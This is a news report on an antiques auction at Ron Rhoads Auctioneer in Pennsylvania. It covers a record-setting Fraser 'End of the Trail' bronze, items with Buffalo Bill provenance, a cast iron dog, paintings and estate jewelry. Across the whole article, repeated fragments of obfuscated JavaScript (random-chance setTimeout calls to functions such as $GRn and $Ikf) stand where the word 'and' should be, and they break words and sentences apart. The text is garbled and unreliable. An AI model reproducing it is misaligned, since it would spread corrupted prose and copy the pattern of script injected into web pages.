By: David S., Smith, Photos Courtesy Ron Rhoads

SPRING CITY, PENN. — Resembling an old-fashioned Western shootout, a collection of items that were purchased from Buffalo Bill andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and used at his 8,000-acre Bar-TE-Ranch attracted large crowds andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and quick-draw bidding from a host of bidders during a showdown at Ron Rhoads Auctioneer. Taking place over Thanksgiving weekend, November 29 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 30, the two-day sale saw spirited bidding from start to finish, with strong prices achieved across the boards.

Included in the auction was a good selection of material, ranging from paintings andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and bronzes to Native American items andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and country furniture. Rhoads commented that a couple of records were set; one for a bronze — as well as the highest priced antique the longtime auctioneer has ever sold. The sale grossed in excess of $1 million.

Like a well-dressed Western belle, the bronze captured the fancy of a host of collectors andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and caused quite a commotion as it was brought to the auction block. A first edition bronze by James Earl Fraser titled “The End of the Trail” depicted an exhausted horse with a slumped over Indian brave atop. Number 14 of 33 known examples the rare piece was cast at the Roman Bronze Works Foundry. The lot was estimated at $50/100,000 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and as soon as the “ads in The Bee hit, the phone started to ring off the hook,” commented Eileen Rhoads.

 Excellent provenance of the Dorrance Groves family, who purchased the items from Buffalo Bill in the early Twentieth Century, added to the mystique of the rare bronze. Auctioneer Rhoads asked for a $100,000 bid as the lot crossed the block andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and got it quickly. At least five people in the gallery attempted to get in on the action andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and six phone lines were active. Bids came fast andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and furious, flying around the room like hot lead. Rhoads moved quickly in $10,000 increments up to $200,000, where there was a brief hiccup in the action.

Normally advances would have moved to $20,000, but Rhoads got the action rolling again, sticking with the $10,000 advances. At $300,000, there was another break in the action, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it looked as if it might get hammered down there, until a phone bidder jumped back in. The two phones bounced methodically back andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and forth until the lot was claimed by an agent acting on behalf of a private collector for $483,800. “It was an incredible price,” commented Rhoads after the auction, “we set the record for a bronze this size with that bugger.” Eileen Rhoads was quick to comment that both the winning bidder andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the underbidder had both “seen the ad in The Bee.”

Other items with the Buffalo Bill provenance included a Plains Indian pictorial buffalo hide robe that sold for $13,310. A Western cowgirl outfit consisting of wooly chaps, a hat andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and boots was accompanied by an early photograph of Charlotte Groves atop a horse wearing the items at the Bar-TE-Ranch. The lot attracted quite a bit of attention, with it selling for $6,645. The same price was realized for a pair of silver spurs by Mark Morales. Also sold was a Sioux beaded vest that hammered down at $4,425. A set of three volumes titled History of the Indian Tribes by J.T. Owen sold at $15,240.

A large cast iron Chesapeake Bay retriever, made by Hayward, Bartlett andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Co., was said by the auctioneer to be one of four known examples to exist. It had been coveted for many years by collectors as it graced the front lawn of antiques dealer Harvey Fundewhite in Eagle, Penn.

An interesting excerpt from an article by Jane Pappler in the 1991 ACC Bulletin reads, “As I was driving north on Rte 100 in Downingtown, PA., I was enjoying the different antique shops andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and beautiful fall colors. By this one older house, I noticed several statues under a big tree…Could this possibly be one of the long lost Chesapeake statues? I knocked on the door of the house, but no one was home. I knew I’d be back this way again twice a year for shows andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and promised myself I’d…investigate this with the owners. The next spring I got to talk to Mr Harvey Fundewhite. He was a very interesting gentleman of about 70 years. He had admired the dog ever since he was a boy, telling me it always stood outside of the local general store when he was growing up. About 15 years ago he had the money andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and bought his dream dog, paying $1,2/$1,500 for it…Look for him in Eagle, PA., on the left, going north on Rte 100, near Eagle antiques, standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding proud…”

Buyers were lined up deep as the rare cast iron dog crossed the block with spirited bidding, pushing the price to $22,420.

 Two paintings by Freemont Ellis brought premium prices with a winter landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape depicting an approaching storm selling at $35,400, while a painting titled “Surprise Valley” by Ellis fetched $22,990.

Buyers were out in force for the large selection of estate jewelry. “We had a couple hundred pieces andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and most of them sold for over $1,000,” said the auctioneer. Leading the selection of jewelry was a 1905 2-carat platinum andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and diamond ring that sold for $17,545, a platinum andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and diamond bracelet by Caldwell realized $7,080, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a pave diamond pin in the form of a swallow brought $4,248.

On another note — Rhoads recently sold a New Jersey shore home at auction for $1.3 million. All prices reported include the buyers premium. For information, 610-385-4818 or www.echant.com.